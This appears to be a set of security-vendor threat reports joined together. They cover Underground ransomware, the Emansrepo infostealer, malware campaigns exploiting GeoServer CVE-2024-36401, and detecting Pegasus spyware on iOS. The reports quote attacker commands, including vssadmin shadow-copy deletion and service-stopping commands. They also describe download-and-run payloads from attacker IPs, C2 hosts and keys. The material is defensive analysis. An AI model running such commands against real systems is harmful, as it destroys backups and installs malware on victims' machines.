FortiGuard Labs gathers data on ransomware variants of interest that have been gaining traction within our datasets and the OSINT community. The Ransomware Roundup report aims to provide readers with brief insights into the evolving ransomware landscape and the Fortinet solutions that protect against those variants.
This edition of the Ransomware Roundup covers the Underground ransomware.
Affected platforms: Microsoft Windows Impacted parties: Microsoft Windows Impact: Encrypts victims’ files and demands ransom for file decryption Severity level: High
Underground Ransomware Overview
The first sample of Underground ransomware was first observed in early July 2023, on a publicly available file scanning site. This roughly coincides with the timing of the first victim posted on its data leak site on July 13, 2023.
Like most ransomware, this ransomware encrypts files on victims’ Windows machines and demands a ransom to decrypt them via dropped ransom notes.
Infection Vector
Online reports indicate that the Russia-based RomCom group, also known as Storm-0978, is deploying the Underground ransomware. This threat group is known to exploit CVE-2023-36884 (Microsoft Office and Windows HTML RCE Vulnerability), which could be the infection vector for the ransomware.
FortiGuard Labs published an Outbreak Alert on CVE-2023-36884 on July 13, 2024.
The group may also use other common infection vectors such as email and purchasing access from an Initial Access Broker (IAB).
Attack Method
Once executed, the Underground ransomware deletes shadow copies with the following command:
vssadmin.exe delete shadows /all /quiet
The ransomware sets the maximum time that a RemoteDesktop/TerminalServer session can remain active on the server to 14 days (14 days after the user disconnects) using the following command:
reg.exe add HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services / v MaxDisconnectionTime / t REG_DWORD / d 1209600000 / f
It then stops the MS SQL Server service with the following command:
net.exe stop MSSQLSERVER /f /m
The ransomware then creates and drops a ransom note named “!!readme!!!.txt”:
Figure 1: The Underground ransomware ransom note
While the ransomware encrypts files, it does not change or append file extensions.
Figure 2: A text file before file encryption
Figure 3: A text file after file encryption
It also avoids encrypting files with the following extensions:
.sys
.exe
.dll
.bat
.bin
.cmd
.com
.cpl
.gadget
.inf1
.ins
.inx
.isu
.job
.jse
.lnk
.msc
.msi
.mst
.paf
.pif
.ps1
.reg
.rgs
.scr
.sct
.shb
shs
.u3p
.vb
.vbe
.vbs
.vbscript
.ws
.wsh
.wsf
The ransomware creates and executes temp.cmd, which performs the following actions:
Deletes the original ransomware file
Obtains a list of Windows Event logs and deletes them
Victimology and Data Leak Site
The Underground ransomware has a data leak site that posts victim information, including data stolen from victims. Currently, the data leak site lists 16 victims, with the most recent victim posted on July 3, 2024. Below is a breakdown of the victims and their verticals:
Post Date
Location of Victim
Vertical
2024/07/03
USA
Construction
2024/07/01
France
Pharmaceuticals
2024/06/17
USA
Professional Services
2024/05/27
USA
Banking
2024/05/15
USA
Medicine
2024/05/01
USA
Industry
2024/04/09
USA
Business Services
2024/04/09
USA
Construction
2024/03/25
USA
Manufacturing
2024/03/06
Korea
Manufacturing
2024/02/12
Spain
Manufacturing
2024/02/02
Germany
Industry
2023/07/31
Slovakia
Business Services
2024/07/18
Taiwan
Industry
2024/07/18
Singapore
Manufacturing
2024/07/14
Canada
Manufacturing
Figure 4: The data leak site for Underground ransomware
The data leak site also includes a drop-down box with a list of industries that the ransomware group is targeting or is allowed to target.
Figure 5: One of the victims on the data leak site
The Underground ransomware group also has a Telegram channel that was created on March 21, 2024.
Figure 6: The Underground ransomware Telegram channel
According to the Telegram channel, the ransomware group has made victims’ stolen information available on Mega, a cloud storage service provider that is being abused.
Figure 7: Telegram channel containing links to the stolen information on Mega
Fortinet Protections
The Underground ransomware described in this report is detected and blocked by FortiGuard Antivirus as:
W64/IndustrySpy.C!tr.ransom
W64/Filecoder_IndustrialSpy.C!tr.ransom
Adware/Filecoder_IndustrialSpy
Riskware/Ransom
FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is a part of each of those solutions. As a result, customers who have these products with up-to-date protections are protected.
Please read the outbreak alert for protection against the potential infection vector (CVE-2023-36884) abused by the Underground ransomware:
Due to the ease of disruption, damage to daily operations, potential impact on an organization’s reputation, and the unwanted destruction or release of personally identifiable information (PII), etc., it is vital to keep all AV and IPS signatures up to date.
Since the majority of ransomware is delivered via phishing, organizations should consider leveraging Fortinet solutions designed to train users to understand and detect phishing threats:
The FortiPhish Phishing Simulation Service uses real-world simulations to help organizations test user awareness and vigilance to phishing threats and to train and reinforce proper practices when users encounter targeted phishing attacks.
Our FREE Fortinet Certified Fundamentals (FCF) in Cybersecurity training. The training is designed to help end users learn about today’s threat landscape and will introduce basic cybersecurity concepts and technology.
Organizations will need to make foundational changes to the frequency, location, and security of their data backups to effectively deal with the evolving and rapidly expanding risk of ransomware. When coupled with digital supply chain compromise and a workforce telecommuting into the network, there is a real risk that attacks can come from anywhere. Cloud-based security solutions, such as SASE, to protect off-network devices; advanced endpoint security, such as EDR (endpoint detection and response) solutions that can disrupt malware mid-attack; and Zero Trust Access and network segmentation strategies that restrict access to applications and resources based on policy and context, should all be investigated to minimize risk and to reduce the impact of a successful ransomware attack.
As part of the industry’s leading fully integrated Security Fabric, delivering native synergy and automation across your security ecosystem, Fortinet also provides an extensive portfolio of technology and human-based as-a-service offerings. These services are powered by our global FortiGuard team of seasoned cybersecurity experts.
FortiRecon is a SaaS based Digital Risk Prevention Service backed by cybersecurity experts to provide unrivaled threat intelligence on the latest threat actor activity across the dark web, providing a rich understanding of threat actors’ motivations and TTPs. The service can detect evidence of attacks in progress allowing customers to rapidly respond to and shut down active threats.
Best Practices Include Not Paying a Ransom
Organizations such as CISA, NCSC, the FBI, and HHS caution ransomware victims against paying a ransom partly because the payment does not guarantee that files will be recovered. According to a US Department of Treasury’s Office of Foreign Assets Control (OFAC) advisory, ransom payments may also embolden adversaries to target additional organizations, encourage other criminal actors to distribute ransomware, and/or fund illicit activities that could potentially be illegal. For organizations and individuals affected by ransomware, the FBI has a Ransomware Complaint page where victims can submit samples of ransomware activity via their Internet Crimes Complaint Center (IC3).
How Fortinet Can Help
FortiGuard Labs’ Emergency Incident Response Service provides rapid and effective response when an incident is detected. Our Incident Readiness Subscription Service provides tools and guidance to help you better prepare for a cyber incident through readiness assessments, IR playbook development, and IR playbook testing (tabletop exercises).
Additionally, FortiRecon Digital Risk Protection (DRP) is a SaaS-based service that provides a view of what adversaries are seeing, doing, and planning to help you counter attacks at the reconnaissance phase and significantly reduce the risk, time, and cost of later-stage threat mitigation.
Affected Platforms: Microsoft Windows Impacted Users: Microsoft Windows Impact: The stolen information can be used for future attack Severity Level: High
In August 2024, FortiGuard Labs observed a python infostealer we call Emansrepo that is distributed via emails that include fake purchase orders and invoices. Emansrepo compresses data from the victim’s browsers and files in specific paths into a zip file and sends it to the attacker’s email. According to our research, this campaign has been ongoing since November 2023.
The attacker sent a phishing mail containing an HTML file, which was redirected to the download link for Emansrepo. This variant is packaged by PyInstaller so it can run on a computer without Python.
Figure 1: Attack flow in November 2023
Figure 2: The download link for Emansrepo is embedded in RTGS Invoices.html.
As time goes by, the attack flow has become increasingly complex. Below are the attack flows we found in July and August 2024:
Figure 3: Attack flow in August and July 2024
Various stages are being added to the attack flow before downloading Emansrepo, and multiple mailboxes are used to receive different kinds of stolen data. This article will provide a detailed analysis of each attack chain and its behavior. We will then provide a quick summary of the next campaign.
Attack Flow
Chain 1
Figure 4: The phishing mail in chain 1 contains a fake download page
The attachment is a dropper that mimics a download page. It creates a link element that points to the data of Purchase-Order.7z and uses the click() method to “download” Purchase-Order.7z. Six seconds later, it redirects to a completely unrelated website.
Figure 5: Source code of the attachment
Purchase-Order.exe, the file embedded in Purchase-Order.7z, is an AutoIt-compiled executable. It doesn’t include any files, and the AutoIt script determines its behavior. The script has many unused functions, frustrating its analysis. The only meaningful code downloads preoffice.zip to the Temp folder and unzips it into % TEMP%\PythonTemp. The zip archive contains necessary Python modules and tester.py, the malicious script for information stealing.
Figure 6: The AutoIt script downloads the Python infostealer
Chain 2
Figure 7: The phishing mail in chain 2
The innermost file in P.O.7z is an HTA file. Its source file is a JavaScript file that shows a hidden window named PowerShell Script Runner and downloads the PowerShell script, script.ps1, with VBScript for the next stage.
Figure 8: The decryption algorithm of the JavaScript file and the result
The behavior of script.ps1 is similar to the AutoIt script in chain 1. It downloads preoffice.zip to the Temp folder and unzips it to %TEMP%\PythonTemp, but it executes Emansrepo using run.bat.
Figure 9: script.ps1 executes run.bat to run the infostealer
Chain 3
Figure 10: The phishing mail in chain 3
The 7z file from the link in the phishing mail contains a batch file obfuscated by BatchShield.
Figure 11: The obfuscated batch file
After deobfuscation, we can see that it is not as complicated as it first seems. It simply downloads and executes script.ps1 using PowerShell.
Figure 12: The deobfuscated batch file
Python Infostealer
According to the email receiving the data, the infostealer behavior can be divided into three parts. It creates folders to temporarily store the stolen data for each part and deletes them after sending the data to the attacker. The stolen data is attached to the email sent to the attacker.
Part 1 – User information and text files
In part 1, the Python stealer collects login data, credit card information, web history, download history, autofill, and text files (less than 0.2 MB) from the Desktop, Document, and Downloads folders.
%TEMP%\Browsers:Text files (less than 0.2 MB) copied from Desktop, Document, Downloads%TEMP%\Browsers\{browser name}:Saved_Passwords.txt, Saved_Credit_Cards.txt, Browser_History.txt, Download_History.txt, Autofill_Data.txt
Attachment
Zip file of %TEMP%\Browsers folder
Part 1 includes the initial features of Emansrepo since there is only code for part 1 in the November 2023 variant (e346f6b36569d7b8c52a55403a6b78ae0ed15c0aaae4011490404bdb04ff28e5). It’s worth noting that emans841 report has been used as the divider in Saved_Passwords.txt since the December 2023 variant (ae2a5a02d0ef173b1d38a26c5a88b796f4ee2e8f36ee00931c468cd496fb2b5a). Because of this, we call it Emansrepo.
Figure 13: The content of Saved_Passwords.txt
The variant used in November 2023 uses Prysmax Premium as the divider.
By comparing the variant in November 2023 with the first edition of the Prysmax stealer shared on GitHub, we find they contain many similar functions, though the Emansrepo stealer had fewer features. However, as parts 2 and 3 were added to Emansrepo, it has become quite different from the Prysmax stealer.
Figure 14: Left: Variant in November 2023. Right: First edition of Prysmax Stealer on GitHub
Part2 – PDF files, extensions, crypto wallets, and game platform
Part 2 copies PDF files (less than 0.1 MB) from the Desktop, Document, Downloads, and Recents folders and compresses folders of browser extensions, crypto wallets, and game platforms into zip files.
We recently found another attack campaign using the Remcos malware, which we believe is related to the same attacker because of the phishing email.
Figure 15: Left: the email for the Python infostealer. Right: The email for Remcos.
As the above screenshot shows, these attacks have the same content but use different methods to distribute malware. The attack flow for Remcos is much simpler. The attacker just sends phishing emails with a malicious attachment. The attachment is a DBatLoader, which downloads and decrypts data for the payload. The payload is a Remcos protected by a packer.
Figure 16: Attack flow of new Remcos campaign
Conclusion
Emansrepo has been active since at least last November, and the attack method is continuously evolving. The attack vectors and malware are ever-changing and pervasive, so it’s vital for organizations to maintain cybersecurity awareness. FortiGuard will continue monitoring these attack campaigns and providing appropriate protections as required.
Fortinet Protections
The malware described in this report is detected and blocked by FortiGuard Antivirus as:
FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is part of each solution. As a result, customers who have these products with up-to-date protections are already protected.
The FortiGuard CDR (content disarm and reconstruction) service can disarm the embedded link object inside the Excel document.
To stay informed of new and emerging threats, you can sign up to receive future alerts.
We also suggest our readers go through the free Fortinet Cybersecurity Fundamentals (FCF) training, a module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks.
FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.
Affected Platforms: GeoServer prior to versions 2.23.6, 2.24.4, and 2.25.2 Impacted Users: Any organization Impact: Remote attackers gain control of the vulnerable systems Severity Level: Critical
GeoServer is an open-source software server written in Java that allows users to share and edit geospatial data. It is the reference implementation of the Open Geospatial Consortium (OGC) Web Feature Service (WFS) and Web Coverage Service (WCS) standards. On July 1, the project maintainers released an advisory for the vulnerability CVE-2024-36401 (CVSS score: 9.8). Multiple OGC request parameters allow remote code execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions. The shortcoming has been addressed in versions 2.23.6, 2.24.4, and 2.25.2.
On July 15, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added a critical security flaw impacting OSGeo GeoServer GeoTools to its Known Exploited Vulnerabilities (KEV) catalog based on evidence of active exploitation. FortiGuard Labs added the IPS signature the next day and has observed multiple campaigns targeting this vulnerability to spread malware. The botnet family and miner groups strike the attack immediately. We also collect sidewalk backdoors, and GOREVERSE tries to exploit this vulnerability and set a connection with a command and control server (C2) to execute malicious actions.
Overview
In this article, we will explore the details of the payload and malware.
GOREVERSE
Figure 1: Attack packet
The payload retrieves a script from “hxxp://181[.]214[.]58[.]14:61231/remote.sh.” The script file first verifies the victim’s operating system and architecture to download the appropriate file, which it saves as “download_file.” It accommodates various OS types, including Linux, FreeBSD, Illumos, NetBSD, OpenBSD, and Solaris. After execution, it deletes the file to remove traces of its activity.
Figure 2: Script file “remote.sh”
The ultimate executable is “GOREVERSE,” packed with UPX. GOREVERSE is a malicious tool that often functions as a reverse proxy server, allowing attackers to illicitly access target systems or data.
Figure 3: GOREVERSE
Once executed, the connection is made to a specific IP address (181[.]214[.]58[.]14) and port (18201), which is not a standard SSH port.
Figure 4: GOREVERSE’s log
From the exploitation packet of CVE-2024-36401, we observed threat actors attempting to access IT service providers in India, technology companies in the U.S., government entities in Belgium, and telecommunications companies in Thailand and Brazil.
SideWalk
Figure 5: Attack packet
The attacker fetches the script from “hxxp://1[.]download765[.]online/d.” This batch file facilitates the download of execution files. All the ELF files on the remote server, known as the “SideWalk” malware, are designed to operate on ARM, MIPS, and X86 architectures. SideWalk is a sophisticated Linux backdoor malware also often linked with the hacking group APT41.
Figure 6: Script file “d”
First, SideWalk creates a folder named with a randomly generated string in the TMP directory. It then decodes two library files, libc.so.0 and ld-uClibc.so.1, along with the next-stage payload using the XOR key 0xCC. These decoded files are then stored in the previously created folder in the TMP path.
Figure 7: Creating the folder and files
Figure 8: XOR decoded with 0xCC
Figure 9: Saved decoded files
Then, it also uses XOR to decode the string data using the key 0x89.
Figure 10: XOR decoded with 0x89
It then executes the next stage payload, “ych7s5vvbb669ab8a.” It has three main functions:
1. Decrypt configuration: The configuration is decrypted using the ChaCha20 algorithm. The binary input contains a 16-byte MD5 hash, a 12-byte nonce for ChaCha20 decryption, and a 4-byte section indicating the length of the ciphertext, followed by the actual ciphertext. Based on the assembly code, the decryption key is hard-coded as “W9gNRmdFjxwKQosBYhkYbukO2ejZev4m,” and the decryption process runs 15 rounds (0xF). After successful decryption, the extracted C2 is secure[.]systemupdatecdn[.]de (47[.]253[.]46[.]11), listening on port 80, with the mutex name “hfdmzbtu.”
Figure 11: Decrypted configuration with ChaCha20
Figure 12: Encrypted binary
Figure 13: Decrypted configuration
2. Establish C2 communication: Communication with the C2 server is established using an encrypted session, also based on the ChaCha20 algorithm. The packet structure comprises a 4-byte section representing the packet length, a 12-byte nonce for ChaCha20 decryption, 20 bytes of message metadata, and the final ciphertext. The initial exchange includes keys (v-key and s-key) for subsequent message encryption. In early packets, the original key, “W9gNRmdFjxwKQosBYhkYbukO2ejZev4m,” decrypts the message metadata, while the exchanged keys (v-key and s-key) decrypt the ciphertext. In packet 5, the victim’s information (computer name, operating system, and system time) is transmitted.
Figure 14: Packet capture of the C2 connection
Figure 15: C2 communication
3. Execute the command issued by C2: In this attack scenario, we find a Plugin named Fast Reverse Proxy (FRP.) Fast Reverse Proxy (FRP) is a legitimate and widely-used tool that complicates the detection of malicious network traffic by blending it with normal traffic, thereby enhancing the stealthiness of cyberattacks. Because it is open source, this tool has been leveraged in the past by several threat actors, such as Magic Hound, Fox Kitten, and Volt Typhoon. Using FRP, attackers create an encrypted tunnel from an internally compromised machine to an external server under their control. This method enables them to maintain a foothold within compromised environments, exfiltrate sensitive data, deploy further malicious payloads, or execute other operations. In this attack case, SideWalk also downloads a customized configuration file that directs the connection to a remote server (47[.]253[.]83[.]86) via port 443, further enhancing the attacker’s control and persistence.
Figure 16: FRP’s configuration
Figure 17: Packet capture of FRP
Analysis of the script download URL’s telemetry reveals a concentrated pattern of infections. The primary targets appear to be distributed across three main regions: South America, Europe, and Asia. This geographical spread suggests a sophisticated and far-reaching attack campaign, potentially exploiting vulnerabilities common to these diverse markets or targeting specific industries prevalent in these areas.
Figure 18: Telemetry
Mirai Variant – JenX
Figure 19: Attack packet
This script downloads and executes a file named “sky” from a specified URL, “hxxp://188[.]214[.]27[.]50:4782. “ It changes its permissions to make it executable, runs it with the parameter “geo,” and then deletes the file.
Figure 20: XOR decoded function
The configuration data is extracted by XORing the file contents with 0x3A. This enabled us to find information like “bots[.]gxz[.]me,” which is the C2 server the malware attempts to connect to.
Figure 21: Decoded configuration data
When executing the malware, a string shows up.
Figure 22: Execution message
This malware has a credential list for brute-force attacks and a hard-coded payload related to the Huawei router vulnerability CVE-2017-17215. The payload attempts to download malware from 59[.]59[.]59[.]59.
Figure 23: Hard-coded payload
Condi
The attacker first terminates several processes (mpsl, mipsel, bash.mpsl, mips, x86_64, x86), then downloads and executes multiple bot binaries for different CPU architectures (such as ARM, MIPS, PPC, X86, M68K, SH4, and MPSL) from a remote server, “hxxp://209[.]146[.]124[.]181:8030.” The binaries are fetched using wget, saved in the /tmp directory, made executable (chmod 777), and executed.
Figure 24: Attack packet
The following section uses “bot.arm7” as an example. The malware can be recognized by the specified string “condi.”
Figure 25: Significant string
Executing the malware sends numerous DNS queries to “trcpay[.]xyz.”
Figure 26: Continually connecting to the C2 server
The Condi botnet first tries to resolve the C2 server address and its function. It then establishes a connection with the C2 server and waits to parse the command. The malware has numerous DDoS attack methods, such as TCP flooding, UDP flooding, and a VSE DDoS attack.
In tracing the connection back to the remote server, “hxxp://209[.]146[.]124[.]181:8030,” we found that it was built as an HFS (HTTP File Server) and that two malicious tools—“Linux2.4” (another botnet) and “taskhost.exe” (the agent tool)—are located in the server.
The botnet “Linux2.4” not only has different methods that can trigger a DDoS attack but can also act as a backdoor agent. The tool first connects to a server, which is the same as the remote server “209[.]146[.]124[.]181.” It then gathers the host information. Later, it waits for the command to either conduct a remote command execution or trigger a DDoS attack.
Figure 27: DDoS attack methods
The Backdoor malware “taskhost.exe” is designed especially for Windows. It creates a service named “9jzf5” for persistence and then creates different process types to retrieve information from attackers lurking in the host.
Figure 28: Creating a service with the name “9jzf5”
Figure 29: Command execution
CoinMiner
We found four types of incident coin miners that can be delivered to victim hosts, as shown in the following details.
[1]
Figure 30: Attack packet
The attacker downloads a script from a remote URL “hxxp://oss[.]17ww[.]vip/21929e87-85ff-4e98-a837-ae0079c9c860[.]txt/test.sh” and saves it as script.sh in the temp folder. The payload within the incident packets then modifies and executes the script to achieve various purposes.
Figure 31: Script file “test.sh”
The script first gathers host information, such as the location of Aegis, the distribution version of Linux. Afterward, it attempts to uninstall different cloud platforms, like Tencent Cloud, Oracle, Kingsoft Cloud, JD Cloud, and Ali Cloud, to evade monitoring agents from those cloud services. A noteworthy point is that the comments in the script are written in simplified Chinese, indicating that the miner campaign/author may be affiliated with a Chinese group. While finishing these uninstalls, the script kills some security defense mechanisms processes and checks whether the current user has the root privilege needed to uninstall those mechanisms. If everything executes successfully, the script downloads the coin miner and creates another script for persistence.
Figure 32: Download and persistence within “test.sh”
The coin miner, named “sshd,” wrote the configuration within itself. The miner points to two target pools: “sdfasdfsf[.]9527527[.]xyz:3333” and “gsdasdfadfs[.]9527527[.]xyz:3333.”
Figure 33: Coin miner configuration
[2]
Figure 34: Attack packet
Another type of coin miner attack begins with the Base64-encoded command. It intends to download “linux.sh” from “hxxp://repositorylinux.com.” The comment in “linux.sh” is written in Sundanese, an Indonesian language.
Figure 35: Script file “linux.sh”
The script downloads two files: a coin miner named “linuxsys“ and a related configuration file named “config.json.” It downloads these through an AWS (Amazon Web Service) cloud platform service the attacker holds.
Figure 36: Config file “config.json”
The coin miner sets the pool URL “pool[.]supportxmr[.]com:80” with credentials using “config.json.” The miner itself is XMRig, which can be recognized through its data.
Figure 37: Coin miner “linuxsys”
[3]
Figure 38: Attack packet
The action sent via four packets is to download “/tmp/MmkfszDi” from the remote server “hxxp://95[.]85[.]93[.]196:80/asdfakjg.sh,” make it executable, and then run it. The script downloads a coin miner like the others mentioned before. It also removes a list of files within “/tmp,” “/var,” “/usr,” and “/opt.”
Figure 39: Script file “asdfakjg.sh”
The coin miner named “h4” is similar to the other two types mentioned. It is XMRig as well and embeds its configuration within the binary file. The miner sets the pool URL as “asdfghjk[.]youdontcare[.]com:81”
Figure 40: Configuration data embedded in “h4”
[4]
Figure 41: Attack packet
The last type of coin miner incident command is also encoded with base64. It downloads “cron.sh” from “112[.]133[.]194[.]254.” This fraudulent site mimics the webpage of the Institute of Chartered Accountants of India (ICAI). The site is currently removed.
Figure 42: Fraudulent site
“cron.sh” uses the job scheduler on the Unix-like operating system “cron,” as its name indicates. The script schedules jobs for things like downloading coin miner-related scripts and setting the scripts into “crontab.” It first downloads the script named “check.sh” from the same source IP “112[.]133[.]194[.]254” and executes the script.
Figure 43: Script file “cron.sh”
“check.sh” first creates the necessary directories and confirms that the victim host hasn’t been infected. Once the script finds that the victim host is the first to be infected, it downloads “config.sh” from the attacker’s IP “112[.]133[.]194[.]254” and the XMRig coin miner from the developer platform “Github.”
Figure 44: Script file “check.sh”
Through “config.sh,” we learned that the attacker set the pool on SupportXMR “pool[.]supportxmr[.]com:3333”
Figure 45: Script File “config.sh”
Conclusion
While GeoServer’s open-source nature offers flexibility and customization, it also necessitates vigilant security practices to address its vulnerabilities. The developer patched the vulnerability with the function “JXPathUtils.newSafeContext” instead of the original vulnerable one to evaluate the XPath expression safety. However, implementing comprehensive cybersecurity measures—such as regularly updating software, employing threat detection tools, and enforcing strict access controls—can significantly mitigate these risks. By proactively addressing these threats, organizations can secure their environments and ensure the protection and reliability of these data infrastructures.
Fortinet Protection
The malware described in this report is detected and blocked by FortiGuard Antivirus as:
FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is part of each of these solutions. As a result, customers who have these products with up-to-date protections are protected.
The FortiGuard Web Filtering Service blocks the C2 servers and downloads URLs.
FortiGuard Labs provides IPS signatures against attacks exploiting the following vulnerability:
We also suggest that organizations go through Fortinet’s free training module: Fortinet Certified Fundamentals (FCF) in Cybersecurity. This module is designed to help end users learn how to identify and protect themselves from phishing attacks.
FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.
How does Pegasus and other spyware work discreetly to access everything on your iOS device? Introduction
In today’s digital age, mobile phones and devices have evolved from being exclusive to a few to becoming an absolute need for everyone, aiding us in both personal and professional pursuits. However, these devices, often considered personal, can compromise our privacy when accessed by nefarious cybercriminals.
Malicious mobile software has time and again been wielded as a sneaky weapon to compromise the sensitive information of targeted individuals. Cybercriminals build complex applications capable of operating on victims’ devices unbeknownst to them, concealing the threat and the intentions behind it. Despite the common belief among iOS users that their devices offer complete security, shielding them from such attacks, recent developments, such as the emergence of Pegasus spyware, have shattered this pretense.
The first iOS exploitation by Pegasus spyware was recorded in August 2016, facilitated through spear-phishing attempts—text messages or emails that trick a target into clicking on a malicious link.
What is Pegasus spyware?
Developed by the Israeli company NSO Group, Pegasus spyware is malicious software designed to gather sensitive information from devices and users illicitly. Initially licensed by governments for targeted cyber espionage purposes, it is a sophisticated tool for remotely placing spyware on targeted devices to pry into and reveal information. Its ‘zero-click’ capability makes it particularly dangerous as it can infiltrate devices without any action required from the user.
Pegasus can gather a wide range of sensitive information from infected devices, including messages, audio logs, GPS location, device information, and more. It can also remotely activate the device’s camera and microphone, essentially turning the device into a powerful tool for illegal surveillance.
Over time, NSO Group has become more creative in its methods of unwarranted intrusions into devices. The company, which was founded in 2010, claims itself to be a “leader” in mobile and cellular cyber warfare.
Pegasus is also capable of accessing data from both iOS and Android-powered devices. The fact that it can be deployed through convenient gateways such as SMS, WhatsApp, or iMessage makes it an effortless tool to trick users into installing the spyware without their knowledge. This poses a significant threat to the privacy and security of individuals and organizations targeted by such attacks.
How does Pegasus spyware work?
Pegasus is extremely efficient due to its strategic development to use zero-day vulnerabilities, code obfuscation, and encryption. NSO Group provides two methods for remotely installing spyware on a target’s device: a zero-click method and a one-click method. The one-click method includes sending the target a regular SMS text message containing a link to a malicious website. This website then exploits vulnerabilities in the target’s web browser, along with any additional exploits needed to implant the spyware.
Zero-click attacks do not require any action from device users to establish an unauthorized connection, as they exploit ‘zero-day’ vulnerabilities to gain entry into the system. Once the spyware is installed, Pegasus actively captures the intended data about the device. After installation, Pegasus needs to be constantly upgraded and managed to adapt to device settings and configurations. Additionally, it may be programmed to uninstall itself or self-destruct if exposed or if it no longer provides valuable information to the threat actor.
Now that we’ve studied what Pegasus is and the privacy concerns it raises for users, this blog will further focus on discussing precautionary and investigation measures. The suggested methodology can be leveraged to detect not just Pegasus spyware but also Operation Triangulation, Predator spyware, and more.
Let’s explore how to check iOS or iPadOS devices for signs of compromise when only an iTunes backup is available and obtaining a full file system dump isn’t a viable option.
In recent years, targeted attacks against iOS devices have made headlines regularly. Although the infections are not widespread and they hardly affect more than 100 devices per wave, such attacks still pose serious risks to Apple users. The risks have appeared as a result of iOS becoming an increasingly complex and open system, over the years, to enhance user experience. A good example of this is the flawed design of the iMessage application, which wasn’t protected through the operating system’s sandbox mechanisms.
Apple failed to patch this flaw with a security feature called BlastDoorin iOS 14, instead implementing a Lockdown Mode mechanism that, for now, cybercriminals have not been able to bypass. Learn more about Lockdown Mode here.
While BlastDoor provides a flexible solution through sandbox analysis, Lockdown Mode imposes limitations on iMessage functionality. Nonetheless, the vulnerabilities associated with ImageIO may prompt users to consider disabling iMessage permanently. Another major problem is that there are no mechanisms to examine an infected iOS device directly. Researchers have three options:
Put the device in a safe and wait until an exploit is developed that can extract the full file system dump
Analyze the device’s network traffic (with certain limitations as not all viruses can transmit data via Wi-Fi)
Explore a backup copy of an iOS device, despite data extraction limitations
The backup copy must be taken only with encryption (password protection) as data sets in encrypted and unencrypted copies differ. Here, our analysts focus on the third approach, as it is a pragmatic way to safely examine potential infections without directly interacting with the compromised device. This approach allows researchers to analyze the device’s data in a controlled environment, avoiding any risk of further compromising the device and losing valuable evidence that forms the ground for crucial investigation and analysis.
To conduct research effectively, the users will need either a Mac or Linux device. Linux virtual machines can also be used, but it is recommended that users avoid using Windows Subsystem for Linux as it has issues with forwarding USB ports.
After being through with the process, users may have successfully decrypted the backup.
Now, let’s check for known indicators. Download the most recent IoCs (Indicators of Compromise):
mvt-ios download-iocs
We can also track IoCs relating to other spyware attacks from several sources, such as:
“NSO Group Pegasus Indicators of Compromise” “Predator Spyware Indicators of Compromise” “RCS Lab Spyware Indicators of Compromise” “Stalkerware Indicators of Compromise” “Surveillance Campaign linked to mercenary spyware company” “Quadream KingSpawn Indicators of Compromise” “Operation Triangulation Indicators of Compromise” “WyrmSpy and DragonEgg Indicators of Compromise”
If any infections are detected, the users will receive a *_detected.json file with detections.
Image 1: Result of MVT IOCs scan with four detections
Image 2: The detected results are saved in separate files with “_detected” ending
If there are suspicions of spyware or malware without IOCs, but there are no detections, and a full file system dump isn’t feasible, users will need to work with the resources at hand. The most valuable files in the backup include:
Safari_history.json – check for any suspicious redirects and websites.
Keeping a backup copy of a control device is required to maintain a record of the current names of legitimate processes within a specific iOS version. This control device can be completely reset and reconfigured with the same iOS version. Although annual releases often introduce significant changes, new legitimate processes may still be added, even within a year, through major system updates.
Sms.json – check for links, the content of these links, and domain information.
iOS security architecture typically prevents normal apps from performing unauthorized surveillance. However, a jailbroken device can bypass these security measures. Pegasus and other mobile malware may exploit remote jailbreak exploits to steer clear of detection by security mechanisms. This enables operators to install new software, extract data, and monitor and collect information from targeted devices.
Warning signs of an infection on the device include:
Slower device performance
Spontaneous reboots or shutdowns
Rapid battery drain
Appearance of previously uninstalled applications
Unexpected redirects to unfamiliar websites
This reinstates the critical importance of maintaining up-to-date devices and prioritizing mobile security. Recommendations for end-users include:
Avoid clicking on suspicious links
Review app permissions regularly
Enable Lockdown mode for protection against spyware attacks
Consider disabling iMessage and FaceTime for added security
Always install the updated version of the iOS
For businesses: Protect against Pegasus and other APT mobile malware
Securing mobile devices, applications, and APIs is crucial, particularly when they handle financial transactions and store sensitive data. Organizations operating in critical sectors, government, and other industries are prime targets for cyberattacks such as espionage and more, especially high-level employees.
Researching iOS devices presents challenges due to the closed nature of the system. Group-IB Threat Intelligence, however, helps organizations worldwide identify cyber threats in different environments, including iOS, with our recent discovery being GoldPickaxe.iOS – the first iOS Trojan harvesting facial scans and using them to potentially gain unauthorized access to bank accounts. Group-IB Threat Intelligence provides a constant feed on new and previously conducted cyber attacks, the tactics, techniques, and behaviors of threat actors, and susceptibility of attacks based on your organization’s risk profile— giving a clear picture of how your devices can be exploited by vectors, to initiate timely and effective defense mechanisms.
If you suspect your iOS or Android device has been compromised by Pegasus or similar spyware, turn to our experts for immediate support. To perform device analysis or set up additional security measures, organizations can also get in touch with Group-IB’s Digital Forensics team for assistance.
In the recent Hi-Tech Crime Trends report, Group-IB experts highlighted a concerning shift in the focus of cybercriminals towards Apple devices. The shift is driven by the increasing popularity and adoption of Apple products in both consumer and corporate environments. As a result, the number of malicious programs targeting iOS and macOS devices has risen exponentially.
The App Store, once considered highly secure, is now at risk of frequent attempts to distribute malware. The increased use of iCloud and other Apple cloud services has made these platforms more appealing to cybercriminals. What’s more, Apple is now officially allowing third-party app stores to distribute iOS apps in Europe. The change is due to Apple being designated a “gatekeeper” under the EU’s Digital Markets Act (DMA). Threat actors are expected to capitalize on this development.
